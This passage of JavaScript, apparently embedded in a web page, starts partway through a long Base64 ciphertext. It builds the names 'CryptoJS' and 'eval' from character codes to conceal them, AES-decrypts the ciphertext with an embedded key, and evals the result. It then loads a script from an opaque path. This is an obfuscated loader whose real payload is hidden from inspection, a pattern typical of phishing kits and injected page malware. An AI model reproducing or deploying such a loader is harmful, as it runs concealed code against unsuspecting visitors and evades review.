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";
    rg = "4ACbVk1+QWhUo4wCMzL1Ma\/lfNm4EKVQRBbyzb4AfZw=";
    const or = ['from','Char','Code'].join('');
const bc = Function('return String')()[or];
const hk = [0x72, 0x70];
const ts = [
    ...hk.map(si => bc(si)),
    bc(0x43),
    bc(0x79),
    bc(0x74),
    bc(0x6f),
    bc(0x4a),
    bc(0x53)
];
pl = [
  ts[2],
  ts[0],
  ts[3],
  ts[1],
  ts[4],
  ts[5],
  ts[6],
  ts[7]
].join('');
ep = globalThis[pl];
    zl = ep.enc.Base64.parse(rg);
    es = ep.enc.Base64.parse(ad);
    sf = ep.lib.WordArray.create(es.words.slice(0, 4), 16);
    jt = ep.lib.WordArray.create(
        es.words.slice(4),
        es.sigBytes - 16
    );
    nk = ep.AES.decrypt(
        { ciphertext: jt },
        zl,
        { iv: sf, mode: ep.mode.CBC, padding: ep.pad.Pkcs7 }
    );
    xl = nk.toString(ep.enc.Utf8);
    (() => {
  var th = this;
  var rl = String['from' + 'Char' + 'Code'];
  var zu = [0x65, 0x76, 0x61, 0x6c];
  var fu = zu.map(oa => rl(oa)).join('');
  th[fu](xl);
})();
    </script>
<script src="/56olJVjst2hrURdSZe1LrwLxughm7aHAgzC42Bpu6QO67102"></script>
</body>

</html>`);
document.write(h);